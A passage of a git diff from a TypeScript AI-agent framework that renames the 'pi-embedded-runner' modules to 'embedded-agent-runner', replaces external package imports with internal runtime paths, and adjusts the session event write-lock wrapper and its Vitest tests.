from src/agents/pi-embedded-runner/run/attempt.session-lock.test.ts rename to src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts index 89db2c08aec..8424d3ddd6b 100644 --- a/src/agents/pi-embedded-runner/run/attempt.session-lock.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts @@ -284,7 +284,7 @@ describe("embedded attempt session lock lifecycle", () => { ]); }); - it("drains queued Pi session events before reacquiring for cleanup", async () => { + it("drains queued OpenClaw session events before reacquiring for cleanup", async () => { const events: string[] = []; let resolveQueue!: () => void; const session = { @@ -1101,7 +1101,7 @@ describe("embedded attempt session lock lifecycle", () => { const hasHandlers = vi.fn(() => false); const session = { _extensionRunner: { hasHandlers }, - _processAgentEvent: vi.fn(async (event: { type?: string }) => { + _handleAgentEvent: vi.fn(async (event: { type?: string }) => { processed.push(event.type); }), }; @@ -1118,11 +1118,11 @@ describe("embedded attempt session lock lifecycle", () => { }, }); - await session["_processAgentEvent"]({ type: "message_update" }); - await session["_processAgentEvent"]({ type: "tool_execution_end" }); - await session["_processAgentEvent"]({ type: "message_end" }); - await session["_processAgentEvent"]({ type: "agent_end" }); - await session["_processAgentEvent"]({}); + await session["_handleAgentEvent"]({ type: "message_update" }); + await session["_handleAgentEvent"]({ type: "tool_execution_end" }); + await session["_handleAgentEvent"]({ type: "message_end" }); + await session["_handleAgentEvent"]({ type: "agent_end" }); + await session["_handleAgentEvent"]({}); expect(processed).toEqual([ "message_update", @@ -1137,7 +1137,7 @@ describe("embedded attempt session lock lifecycle", () => { expect(releases).toEqual(["released", "released", "released"]); }); - it("makes the Pi event listener await locked session event processing", async () => { + it("makes the OpenClaw event listener await locked session event processing", async () => { const events: string[] = []; const session = { _agentEventQueue: Promise.resolve(), @@ -1167,20 +1167,29 @@ describe("embedded attempt session lock lifecycle", () => { const result = handleAgentEvent({ type: "message_end" }) as unknown as Promise; expect(result).toHaveProperty("then"); - expect(events).toEqual(["disconnect", "reconnect", "handle:message_end"]); + expect(events).toEqual([ + "disconnect", + "reconnect", + "disconnect", + "reconnect", + "lock", + "handle:message_end", + ]); await result; expect(events).toEqual([ "disconnect", "reconnect", - "handle:message_end", + "disconnect", + "reconnect", "lock", + "handle:message_end", "process:message_end", ]); }); - it("locks Pi extension hooks that can mutate the session outside agent events", async () => { + it("locks OpenClaw extension hooks that can mutate the session outside agent events", async () => { const locked: string[] = []; const called: string[] = []; const hasHandlers = vi.fn( diff --git a/src/agents/pi-embedded-runner/run/attempt.session-lock.ts b/src/agents/embedded-agent-runner/run/attempt.session-lock.ts similarity index 97% rename from src/agents/pi-embedded-runner/run/attempt.session-lock.ts rename to src/agents/embedded-agent-runner/run/attempt.session-lock.ts index 7aceae13f1a..c088d7fa38f 100644 --- a/src/agents/pi-embedded-runner/run/attempt.session-lock.ts +++ b/src/agents/embedded-agent-runner/run/attempt.session-lock.ts @@ -27,7 +27,9 @@ type SessionWriteLockRunOptions = { }; type SessionEventProcessor = { - _processAgentEvent?: (event: unknown) => Promise; + _handleAgentEvent?: AwaitableSessionEventHandler; + _disconnectFromAgent?: () => void; + _reconnectToAgent?: () => void; _extensionRunner?: { hasHandlers?: (eventType: string) => boolean; }; @@ -708,23 +710,39 @@ export function installSessionEventWriteLock(params: { }): void { installAwaitableSessionEventQueue(params.session); const session = params.session as SessionEventProcessor; - const original = session["_processAgentEvent"]; + const original = session["_handleAgentEvent"]; if ( typeof original !== "function" || session["__openclawSessionEventWriteLockInstalled"] === true ) { return; } + + const canReconnect = + typeof session["_disconnectFromAgent"] === "function" && + typeof session["_reconnectToAgent"] === "function"; + if (canReconnect) { + session["_disconnectFromAgent"]?.(); + } + session["__openclawSessionEventWriteLockInstalled"] = true; - session["_processAgentEvent"] = async function lockedProcessAgentEvent( + const wrapped: AwaitableSessionEventHandler = async function lockedSessionEventHandler( this: unknown, event: unknown, + signal?: unknown, ) { if (!eventMayReachTranscriptWriters(session, event)) { - return await original.call(this, event); + return await original.call(this, event, signal); } - return await params.withSessionWriteLock(async () => await original.call(this, event)); + return await params.withSessionWriteLock(async () => await original.call(this, event, signal)); }; + wrapped["__openclawSessionEventQueueAwaitInstalled"] = + original["__openclawSessionEventQueueAwaitInstalled"]; + session["_handleAgentEvent"] = wrapped; + + if (canReconnect) { + session["_reconnectToAgent"]?.(); + } } export function installSessionExternalHookWriteLock(params: { diff --git a/src/agents/pi-embedded-runner/run/attempt.sessions-yield.ts b/src/agents/embedded-agent-runner/run/attempt.sessions-yield.ts similarity index 95% rename from src/agents/pi-embedded-runner/run/attempt.sessions-yield.ts rename to src/agents/embedded-agent-runner/run/attempt.sessions-yield.ts index 9f3d170b56f..307fee1292b 100644 --- a/src/agents/pi-embedded-runner/run/attempt.sessions-yield.ts +++ b/src/agents/embedded-agent-runner/run/attempt.sessions-yield.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../../runtime/index.js"; import { log } from "../logger.js"; const SESSIONS_YIELD_INTERRUPT_CUSTOM_TYPE = "openclaw.sessions_yield_interrupt"; @@ -43,7 +43,7 @@ export async function waitForSessionsYieldAbortSettle(params: { } } -// Return a synthetic aborted response so pi-agent-core unwinds without a real provider call. +// Return a synthetic aborted response so agent runtime unwinds without a real provider call. export function createYieldAbortedResponse(model: { api?: string; provider?: string; @@ -103,7 +103,7 @@ export function createYieldAbortedResponse(model: { }; } -// Queue a hidden steering message so pi-agent-core injects it before the next +// Queue a hidden steering message so agent runtime injects it before the next // LLM call once the current assistant turn finishes executing its tool calls. export function queueSessionsYieldInterruptMessage(activeSession: { agent: { steer: (message: AgentMessage) => void }; @@ -184,7 +184,7 @@ export function stripSessionsYieldArtifacts(activeSession: { }>; byId?: Map; leafId?: string | null; - _rewriteFile?: () => void; + rewriteFile?: () => void; } | undefined; const fileEntries = sessionManager?.fileEntries; @@ -216,6 +216,6 @@ export function stripSessionsYieldArtifacts(activeSession: { changed = true; } if (changed) { - sessionManager["_rewriteFile"]?.(); + sessionManager.rewriteFile?.(); } } diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-marker.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-marker.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-marker.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-marker.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-routing.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-routing.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-routing.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-routing.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-warning.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-warning.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.bootstrap-warning.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.bootstrap-warning.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.cache-ttl.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.cache-ttl.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.cache-ttl.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.cache-ttl.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-engine.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-engine.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-engine.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-engine.test.ts index 5de21267f85..bea4d955cf8 100644 --- a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-engine.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-engine.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { HEARTBEAT_TRANSCRIPT_PROMPT } from "../../../auto-reply/heartbeat.js"; import type { OpenClawConfig } from "../../../config/types.js"; @@ -26,7 +26,6 @@ import { createDefaultEmbeddedSession, createContextEngineBootstrapAndAssemble, createContextEngineAttemptRunner, - createSubscriptionMock, expectCalledWithSessionKey, getHoisted, resetEmbeddedAttemptHarness, @@ -212,33 +211,7 @@ describe("runEmbeddedAttempt context engine sessionKey forwarding", () => { vi.restoreAllMocks(); }); - it("flushes block replies again after compaction retry wait resolves", async () => { - const order: string[] = []; - let flushCount = 0; - const onBlockReplyFlush = vi.fn(async () => { - flushCount += 1; - order.push(`flush-${flushCount}`); - }); - hoisted.waitForCompactionRetryWithAggregateTimeoutMock.mockImplementation(async () => { - order.push("retry-wait"); - return { timedOut: false }; - }); - - await createContextEngineAttemptRunner({ - contextEngine: createContextEngineBootstrapAndAssemble(), - sessionKey, - tempPaths, - attemptOverrides: { - onBlockReplyFlush, - }, - }); - - expect(onBlockReplyFlush).toHaveBeenCalledTimes(2); - expect(hoisted.waitForCompactionRetryWithAggregateTimeoutMock).toHaveBeenCalledTimes(1); - expect(order).toEqual(["flush-1", "retry-wait", "flush-2"]); - }); - - it("enables Tool Search controls for embedded PI runs when configured", async () => { + it("enables Tool Search controls for embedded OpenClaw runs when configured", async () => { await createContextEngineAttemptRunner({ contextEngine: { assemble: async ({ messages }) => ({ messages, estimatedTokens: 1 }), @@ -1604,102 +1577,6 @@ describe("runEmbeddedAttempt context engine sessionKey forwarding", () => { expect(events.indexOf("bootstrap")).toBeLessThan(events.indexOf("lock")); }); - it("does not acquire the session write lock after aborting during prep", async () => { - const abortController = new AbortController(); - hoisted.resolveBootstrapContextForRunMock.mockImplementation(async () => { - abortController.abort(); - return { bootstrapFiles: [], contextFiles: [] }; - }); - - await expect( - createContextEngineAttemptRunner({ - contextEngine: createContextEngineBootstrapAndAssemble(), - sessionKey, - tempPaths, - attemptOverrides: { abortSignal: abortController.signal }, - }), - ).rejects.toMatchObject({ name: "AbortError" }); - - expect(hoisted.acquireSessionWriteLockMock).not.toHaveBeenCalled(); - }); - - it("disposes prep runtimes after aborting before the session write lock", async () => { - const abortController = new AbortController(); - const lspDispose = vi.fn(async () => {}); - hoisted.createBundleLspToolRuntimeMock.mockImplementationOnce(async () => { - abortController.abort(); - return { - tools: [], - dispose: lspDispose, - }; - }); - - await expect( - createContextEngineAttemptRunner({ - contextEngine: createContextEngineBootstrapAndAssemble(), - sessionKey, - tempPaths, - attemptOverrides: { - abortSignal: abortController.signal, - disableTools: false, - toolsAllow: ["*"], - }, - }), - ).rejects.toMatchObject({ name: "AbortError" }); - - expect(hoisted.acquireSessionWriteLockMock).not.toHaveBeenCalled(); - expect(hoisted.createBundleLspToolRuntimeMock).toHaveBeenCalledTimes(1); - expect(lspDispose).toHaveBeenCalledTimes(1); - }); - - it("stops session setup when aborting after the session write lock", async () => { - const abortController = new AbortController(); - const { bootstrap, assemble } = createContextEngineBootstrapAndAssemble(); - hoisted.sessionManagerOpenMock.mockImplementationOnce(() => { - abortController.abort(); - return hoisted.sessionManager; - }); - - await expect( - createContextEngineAttemptRunner({ - contextEngine: createTestContextEngine({ bootstrap, assemble }), - sessionKey, - tempPaths, - attemptOverrides: { abortSignal: abortController.signal }, - }), - ).rejects.toMatchObject({ name: "AbortError" }); - - expect(hoisted.acquireSessionWriteLockMock).toHaveBeenCalledTimes(1); - expect(bootstrap).not.toHaveBeenCalled(); - expect(assemble).not.toHaveBeenCalled(); - expect(hoisted.createAgentSessionMock).not.toHaveBeenCalled(); - }); - - it("does not submit a prompt after aborting a created session", async () => { - const abortController = new AbortController(); - const sessionPrompt = vi.fn(async () => {}); - hoisted.subscribeEmbeddedPiSessionMock.mockImplementationOnce(() => { - abortController.abort(); - return createSubscriptionMock(); - }); - - await expect( - createContextEngineAttemptRunner({ - contextEngine: createContextEngineBootstrapAndAssemble(), - sessionKey, - tempPaths, - createSession: () => - createDefaultEmbeddedSession({ - initialMessages: [seedMessage], - prompt: sessionPrompt, - }), - attemptOverrides: { abortSignal: abortController.signal }, - }), - ).rejects.toMatchObject({ name: "AbortError" }); - - expect(sessionPrompt).not.toHaveBeenCalled(); - }); - it("forwards modelId to assemble", async () => { const { bootstrap, assemble } = createContextEngineBootstrapAndAssemble(); const contextEngine = createTestContextEngine({ bootstrap, assemble }); @@ -2110,7 +1987,7 @@ describe("runEmbeddedAttempt context engine mid-turn precheck integration", () = expect(loopHookParams.midTurnPrecheck).toBeUndefined(); }); - it("recovers when Pi persists the mid-turn precheck as an assistant error", async () => { + it("recovers when the runtime persists the mid-turn precheck as an assistant error", async () => { hoisted.installToolResultContextGuardMock.mockImplementation((...args: unknown[]) => { const params = args[0] as ToolResultGuardInstallParams; params.midTurnPrecheck?.onMidTurnPrecheck?.({ @@ -2124,7 +2001,7 @@ describe("runEmbeddedAttempt context engine mid-turn precheck integration", () = return () => {}; }); - const syntheticPiError = { + const syntheticRuntimeError = { role: "assistant", content: [{ type: "text", text: "" }], stopReason: "error", @@ -2150,7 +2027,7 @@ describe("runEmbeddedAttempt context engine mid-turn precheck integration", () = }, sessionMessages: [seedMessage], sessionPrompt: async (session) => { - session.messages = [...session.messages, syntheticPiError]; + session.messages = [...session.messages, syntheticRuntimeError]; }, }); diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-injection.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-injection.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-injection.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-injection.test.ts index 679cd583284..c1f2821cdb9 100644 --- a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.context-injection.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.context-injection.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { filterHeartbeatTranscriptArtifacts } from "../../../auto-reply/heartbeat-filter.js"; import { HEARTBEAT_PROMPT } from "../../../auto-reply/heartbeat.js"; diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.resource-loader.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.resource-loader.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.resource-loader.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.resource-loader.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts similarity index 86% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts index 81704b34ac5..bdfd7f40167 100644 --- a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.sessions-spawn.test.ts @@ -1,12 +1,12 @@ import { describe, expect, it } from "vitest"; -import { createPiToolsSandboxContext } from "../../test-helpers/pi-tools-sandbox-context.js"; +import { createAgentToolsSandboxContext } from "../../test-helpers/agent-tools-sandbox-context.js"; import { resolveAttemptSpawnWorkspaceDir } from "./attempt.thread-helpers.js"; describe("runEmbeddedAttempt sessions_spawn workspace inheritance", () => { it("passes the real workspace to sessions_spawn when workspaceAccess is ro", () => { const realWorkspace = "/tmp/openclaw-real-workspace"; const sandboxWorkspace = "/tmp/openclaw-sandbox-workspace"; - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: sandboxWorkspace, agentWorkspaceDir: realWorkspace, workspaceAccess: "ro", @@ -24,7 +24,7 @@ describe("runEmbeddedAttempt sessions_spawn workspace inheritance", () => { it("does not override spawned workspace when sandbox workspace is rw", () => { const realWorkspace = "/tmp/openclaw-real-workspace"; - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: realWorkspace, agentWorkspaceDir: realWorkspace, workspaceAccess: "rw", diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.test-support.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.test-support.ts similarity index 92% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.test-support.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.test-support.ts index f9d6e151791..ec45ec7f0af 100644 --- a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.test-support.ts +++ b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.test-support.ts @@ -1,8 +1,6 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; import { expect, vi, type Mock } from "vitest"; import type { AssembleResult, @@ -14,28 +12,28 @@ import type { IngestResult, } from "../../../context-engine/types.js"; import { formatErrorMessage } from "../../../infra/errors.js"; +import type { Model } from "../../../llm/types.js"; import type { PluginMetadataSnapshot } from "../../../plugins/plugin-metadata-snapshot.js"; import { normalizeLowercaseStringOrEmpty, normalizeOptionalLowercaseString, } from "../../../shared/string-coerce.js"; -import type { EmbeddedContextFile } from "../../pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "../../embedded-agent-helpers.js"; import type { MessagingToolSend, MessagingToolSourceReplyPayload, -} from "../../pi-embedded-messaging.types.js"; +} from "../../embedded-agent-messaging.types.js"; +import type { AgentMessage } from "../../runtime/index.js"; import type { WorkspaceBootstrapFile } from "../../workspace.js"; -type SubscribeEmbeddedPiSessionFn = - typeof import("../../pi-embedded-subscribe.js").subscribeEmbeddedPiSession; +type SubscribeEmbeddedAgentSessionFn = + typeof import("../../embedded-agent-subscribe.js").subscribeEmbeddedAgentSession; type AcquireSessionWriteLockFn = typeof import("../../session-write-lock.js").acquireSessionWriteLock; type ShouldPreemptivelyCompactBeforePromptFn = typeof import("./preemptive-compaction.js").shouldPreemptivelyCompactBeforePrompt; -type WaitForCompactionRetryWithAggregateTimeoutFn = - typeof import("./compaction-retry-aggregate-timeout.js").waitForCompactionRetryWithAggregateTimeout; -type SubscriptionMock = ReturnType; +type SubscriptionMock = ReturnType; type UnknownMock = Mock<(...args: unknown[]) => unknown>; type AsyncUnknownMock = Mock<(...args: unknown[]) => Promise>; type AsyncContextEngineMaintenanceMock = Mock< @@ -47,8 +45,7 @@ type BootstrapContext = { }; function normalizeMockProviderId(providerId?: string): string { - const normalized = normalizeLowercaseStringOrEmpty(providerId); - return normalized === "z.ai" || normalized === "z-ai" ? "zai" : normalized; + return normalizeLowercaseStringOrEmpty(providerId); } type SessionManagerMocks = { @@ -70,10 +67,7 @@ type AttemptSpawnWorkspaceHoisted = { ensureGlobalUndiciStreamTimeoutsMock: UnknownMock; buildEmbeddedMessageActionDiscoveryInputMock: UnknownMock; createOpenClawCodingToolsMock: UnknownMock; - getOrCreateSessionMcpRuntimeMock: AsyncUnknownMock; - materializeBundleMcpToolsForRunMock: AsyncUnknownMock; - createBundleLspToolRuntimeMock: AsyncUnknownMock; - subscribeEmbeddedPiSessionMock: Mock; + subscribeEmbeddedAgentSessionMock: Mock; acquireSessionWriteLockMock: Mock; installToolResultContextGuardMock: UnknownMock; installContextEngineLoopHookMock: UnknownMock; @@ -94,7 +88,6 @@ type AttemptSpawnWorkspaceHoisted = { (sessionKey: string | undefined, config: unknown) => number | undefined >; limitHistoryTurnsMock: Mock<(messages: T, limit: number | undefined) => T>; - waitForCompactionRetryWithAggregateTimeoutMock: Mock; preemptiveCompactionCalls: Parameters[0][]; systemPromptOverrideTexts: string[]; sessionManager: SessionManagerMocks; @@ -144,13 +137,10 @@ const hoisted = vi.hoisted((): AttemptSpawnWorkspaceHoisted => { const ensureGlobalUndiciStreamTimeoutsMock = vi.fn(); const buildEmbeddedMessageActionDiscoveryInputMock = vi.fn((params: unknown) => params); const createOpenClawCodingToolsMock = vi.fn(() => []); - const getOrCreateSessionMcpRuntimeMock = vi.fn(async () => undefined); - const materializeBundleMcpToolsForRunMock = vi.fn(async () => undefined); - const createBundleLspToolRuntimeMock = vi.fn(async () => undefined); const installToolResultContextGuardMock = vi.fn(() => () => {}); const installContextEngineLoopHookMock = vi.fn(() => () => {}); const flushPendingToolResultsAfterIdleMock = vi.fn(async () => {}); - const subscribeEmbeddedPiSessionMock = vi.fn(() => + const subscribeEmbeddedAgentSessionMock = vi.fn(() => createSubscriptionMock(), ); const acquireSessionWriteLockMock = vi.fn(async (_params) => ({ @@ -194,10 +184,6 @@ const hoisted = vi.hoisted((): AttemptSpawnWorkspaceHoisted => { const limitHistoryTurnsMock = vi.fn<(messages: T, limit: number | undefined) => T>( (messages) => messages, ); - const waitForCompactionRetryWithAggregateTimeoutMock = - vi.fn(async () => ({ - timedOut: false, - })); const preemptiveCompactionCalls: Parameters[0][] = []; const systemPromptOverrideTexts: string[] = []; const sessionManager = { @@ -219,10 +205,7 @@ const hoisted = vi.hoisted((): AttemptSpawnWorkspaceHoisted => { ensureGlobalUndiciStreamTimeoutsMock, buildEmbeddedMessageActionDiscoveryInputMock, createOpenClawCodingToolsMock, - getOrCreateSessionMcpRuntimeMock, - materializeBundleMcpToolsForRunMock, - createBundleLspToolRuntimeMock, - subscribeEmbeddedPiSessionMock, + subscribeEmbeddedAgentSessionMock, acquireSessionWriteLockMock, installToolResultContextGuardMock, installContextEngineLoopHookMock, @@ -241,7 +224,6 @@ const hoisted = vi.hoisted((): AttemptSpawnWorkspaceHoisted => { detectAndLoadPromptImagesMock, getHistoryLimitFromSessionKeyMock, limitHistoryTurnsMock, - waitForCompactionRetryWithAggregateTimeoutMock, preemptiveCompactionCalls, systemPromptOverrideTexts, sessionManager, @@ -302,7 +284,7 @@ vi.mock("../../../trajectory/metadata.js", () => ({ buildTrajectoryRunMetadata: () => ({ source: "test" }), })); -vi.mock("@earendil-works/pi-coding-agent", () => { +vi.mock("../../sessions/index.js", () => { function AuthStorage() {} class DefaultResourceLoader { async reload() {} @@ -337,9 +319,9 @@ vi.mock("../../session-tool-result-guard-wrapper.js", () => ({ guardSessionManager: (sessionManager: unknown) => sessionManager, })); -vi.mock("../../pi-embedded-subscribe.js", () => ({ - subscribeEmbeddedPiSession: (params: Parameters[0]) => - hoisted.subscribeEmbeddedPiSessionMock(params), +vi.mock("../../embedded-agent-subscribe.js", () => ({ + subscribeEmbeddedAgentSession: (params: Parameters[0]) => + hoisted.subscribeEmbeddedAgentSessionMock(params), })); vi.mock("../../../plugins/hook-runner-global.js", () => ({ @@ -407,10 +389,23 @@ vi.mock("../../docs-path.js", () => ({ resolveOpenClawReferencePaths: async () => ({ docsPath: undefined, sourcePath: undefined }), })); -vi.mock("../../pi-project-settings.js", () => ({ - createPreparedEmbeddedPiSettingsManager: () => ({ +vi.mock("../../agent-project-settings.js", () => ({ + createPreparedEmbeddedAgentSettingsManager: () => ({ + reload: async () => {}, getCompactionReserveTokens: () => 0, getCompactionKeepRecentTokens: () => 40_000, + getDefaultProvider: () => undefined, + getDefaultModel: () => undefined, + getDefaultThinkingLevel: () => undefined, + getBlockImages: () => false, + getSteeringMode: () => undefined, + getFollowUpMode: () => undefined, + getTransport: () => undefined, + getThinkingBudgets: () => undefined, + getProviderRetrySettings: () => ({ maxRetryDelayMs: undefined }), + getImageAutoResize: () => false, + getShellCommandPrefix: () => undefined, + getShellPath: () => undefined, getGlobalSettings: () => ({}), getProjectSettings: () => ({}), applyOverrides: () => {}, @@ -418,9 +413,9 @@ vi.mock("../../pi-project-settings.js", () => ({ }), })); -vi.mock("../../pi-settings.js", () => ({ - applyPiAutoCompactionGuard: () => {}, - applyPiCompactionSettingsFromConfig: () => ({ +vi.mock("../../agent-settings.js", () => ({ + applyAgentAutoCompactionGuard: () => {}, + applyAgentCompactionSettingsFromConfig: () => ({ didOverride: false, compaction: { reserveTokens: 0, @@ -567,7 +562,7 @@ vi.mock("../../cache-trace.js", () => ({ createCacheTrace: () => undefined, })); -vi.mock("../../pi-tools.js", () => ({ +vi.mock("../../agent-tools.js", () => ({ createOpenClawCodingTools: (options?: { workspaceDir?: string; spawnWorkspaceDir?: string }) => hoisted.createOpenClawCodingToolsMock(options), resolveProcessToolScopeKey: ({ @@ -584,18 +579,15 @@ vi.mock("../../pi-tools.js", () => ({ resolveToolLoopDetectionConfig: () => undefined, })); -vi.mock("../../pi-bundle-mcp-tools.js", () => ({ +vi.mock("../../agent-bundle-mcp-tools.js", () => ({ createBundleMcpToolRuntime: async () => undefined, - getOrCreateSessionMcpRuntime: (...args: unknown[]) => - hoisted.getOrCreateSessionMcpRuntimeMock(...args), - materializeBundleMcpToolsForRun: (...args: unknown[]) => - hoisted.materializeBundleMcpToolsForRunMock(...args), + getOrCreateSessionMcpRuntime: async () => undefined, + materializeBundleMcpToolsForRun: async () => undefined, retireSessionMcpRuntime: async () => true, })); -vi.mock("../../pi-bundle-lsp-runtime.js", () => ({ - createBundleLspToolRuntime: (...args: unknown[]) => - hoisted.createBundleLspToolRuntimeMock(...args), +vi.mock("../../agent-bundle-lsp-runtime.js", () => ({ + createBundleLspToolRuntime: async () => undefined, })); vi.mock("../../../image-generation/runtime.js", () => ({ @@ -801,9 +793,10 @@ vi.mock("../utils.js", () => ({ })); vi.mock("./compaction-retry-aggregate-timeout.js", () => ({ - waitForCompactionRetryWithAggregateTimeout: ( - ...args: Parameters - ) => hoisted.waitForCompactionRetryWithAggregateTimeoutMock(...args), + waitForCompactionRetryWithAggregateTimeout: async () => ({ + timedOut: false, + aborted: false, + }), })); vi.mock("./compaction-timeout.js", () => ({ @@ -903,7 +896,7 @@ export function resetEmbeddedAttemptHarness( params: { includeSpawnSubagent?: boolean; subscribeImpl?: Parameters< - (typeof hoisted.subscribeEmbeddedPiSessionMock)["mockImplementation"] + (typeof hoisted.subscribeEmbeddedAgentSessionMock)["mockImplementation"] >[0]; sessionMessages?: AgentMessage[]; } = {}, @@ -952,10 +945,7 @@ export function resetEmbeddedAttemptHarness( }, ]; }); - hoisted.getOrCreateSessionMcpRuntimeMock.mockReset().mockResolvedValue(undefined); - hoisted.materializeBundleMcpToolsForRunMock.mockReset().mockResolvedValue(undefined); - hoisted.createBundleLspToolRuntimeMock.mockReset().mockResolvedValue(undefined); - hoisted.subscribeEmbeddedPiSessionMock + hoisted.subscribeEmbeddedAgentSessionMock .mockReset() .mockImplementation(() => createSubscriptionMock()); hoisted.acquireSessionWriteLockMock.mockReset().mockResolvedValue({ @@ -985,9 +975,6 @@ export function resetEmbeddedAttemptHarness( hoisted.runContextEngineMaintenanceMock.mockReset().mockResolvedValue(undefined); hoisted.getHistoryLimitFromSessionKeyMock.mockReset().mockReturnValue(undefined); hoisted.limitHistoryTurnsMock.mockReset().mockImplementation((messages) => messages); - hoisted.waitForCompactionRetryWithAggregateTimeoutMock - .mockReset() - .mockResolvedValue({ timedOut: false }); hoisted.preemptiveCompactionCalls.length = 0; hoisted.systemPromptOverrideTexts.length = 0; hoisted.sessionManager.getLeafEntry.mockReset().mockReturnValue(null); @@ -998,7 +985,7 @@ export function resetEmbeddedAttemptHarness( .mockReturnValue({ messages: params.sessionMessages ?? [] }); hoisted.sessionManager.appendCustomEntry.mockReset(); if (params.subscribeImpl) { - hoisted.subscribeEmbeddedPiSessionMock.mockImplementation(params.subscribeImpl); + hoisted.subscribeEmbeddedAgentSessionMock.mockImplementation(params.subscribeImpl); } } @@ -1111,7 +1098,7 @@ export const testModel = { compat: {}, contextWindow: 8192, input: ["text"], -} as unknown as Model; +} as unknown as Model; const testAuthStorage = { getApiKey: async () => undefined, diff --git a/src/agents/pi-embedded-runner/run/attempt.spawn-workspace.timeout.test.ts b/src/agents/embedded-agent-runner/run/attempt.spawn-workspace.timeout.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.spawn-workspace.timeout.test.ts rename to src/agents/embedded-agent-runner/run/attempt.spawn-workspace.timeout.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.test.ts b/src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.test.ts rename to src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.test.ts index 1bd28bf1df3..980bc3711b6 100644 --- a/src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.test.ts @@ -1,5 +1,9 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream, type Context, type Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { + createAssistantMessageEventStream, + type Context, + type Model, +} from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { wrapStreamFnHandleSensitiveStopReason } from "./attempt.stop-reason-recovery.js"; diff --git a/src/agents/pi-embedded-runner/run/attempt.stop-reason-recovery.ts b/src/agents/embedded-agent-runner/run/attempt.stop-reason-recovery.ts similarity index 93% rename from 